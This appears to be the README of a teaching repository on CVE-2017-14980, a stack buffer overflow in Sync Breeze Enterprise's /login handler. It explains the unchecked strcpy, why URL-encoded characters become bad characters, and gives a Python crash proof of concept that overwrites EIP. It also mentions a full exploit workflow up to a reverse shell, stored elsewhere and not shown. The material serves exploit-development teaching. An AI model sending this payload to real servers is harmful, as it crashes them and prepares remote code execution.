
Sync Breeze Enterprise 10.0.28 の /login ハンドラ経由で到達可能なスタックベースのバッファオーバーフロー。入力長の未チェックがスタックメモリを破壊する方法を示しています。
Sync Breeze Enterprise 10.0.28 の /login ハンドラを通じて到達可能なスタックベースのバッファオーバーフロー。入力長のチェック漏れがスタックメモリを破壊する様子を示しています。
このリポジトリは、メモリ破壊エクスプロイトを教える際に使用する教材の一部です(通常の業務に加えて、私はさまざまなサイバーセキュリティコースで教鞭をとり、次世代のリバースエンジニアを育成しています)。
CVE-2017-14980 は、学生に生のTCPプロトコルではなくHTTP経由での vanilla EIP overwrite を体験させたいときに使用するケースです。一見単純に見えます。ログインフォーム、長いパスワード、クラッシュ。しかし、HTTPのコンテキストでは、すぐには気づきにくい bad characters のセットが導入されており、学生はデータが脆弱なバッファに到達する前にどのように処理されているかを考えさせられます。なぜ%、&、+、= がここで bad chars になるのかを理解するにはURLエンコーディングの理解が必要であり、それ自体が有益な教訓となります。
Sync Breeze Enterprise は、Web管理インターフェースを公開するWindowsファイル同期アプリケーションです。脆弱性はログインハンドラにあり、パスワードフィールドを固定サイズのスタックバッファに長さチェックなしでコピーします。このケースが教育に役立つ理由は以下の通りです。
Sync Breeze Enterprise は、リモート管理用の組み込みWebサーバーを含むWindowsファイル同期ツールです。Webインターフェースは、有効にするとTCPポート80でリッスンし、/login にログインフォームを公開します。脆弱性は、パスワードフィールドを処理するPOSTハンドラにあります。
主要な技術的詳細:
Sync Breeze は、ログインフォームを処理する際にPOSTボディを読み取り、パスワードフィールドを抽出します。その値は、長さをチェックせずに固定サイズのスタックバッファにコピーされます。脆弱なロジックの簡略化したバージョンは次のようになります。
char password_buffer[256];
strcpy(password_buffer, password_field);
POSTボディはコピーが行われる前にURLデコードされるため、%25 のような文字はバッファに到達する前に % にデコードされます。これが、特定のURL特殊文字が bad chars として動作する理由でもあり、HTTPレイヤーがデータを解釈した後、脆弱なコピー操作にデータが到達する前に解釈されます。十分に長いパスワード値を送信すると、コピーがバッファの終端を超えて書き込まれ、保存された戻りアドレスが上書きされます。関数が戻るとき、CPUはスタックから攻撃者制御の値をEIPにロードし、そこにジャンプします。
クラッシュは、/login に長すぎるパスワードを含むPOSTリクエストを送信することで再現できます。認証は不要です。Pythonを使用した例:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
デバッガで実行すると、クラッシュによりEIPがユーザ制御のデータで上書きされていることがわかります。
EIP = 41414141
これにより、オーバーフローによって保存された戻りアドレスが破壊されたことが確認されます。
このリポジトリの目的は、クラッシュのデモンストレーションだけでなく、ファジングから動作するリバースシェルまでの完全なエクスプロイトプロセスを段階的に説明することです。
メインのREADMEを整理するため、詳細なエクスプロイトノート、スクリプト、デバッガ手順は、このリポジトリの Vulnerability 📂 フォルダに配置しています。
そこには、このCVEをエクスプロイトするために使用した完全なワークフローが含まれています。具体的には以下の通りです: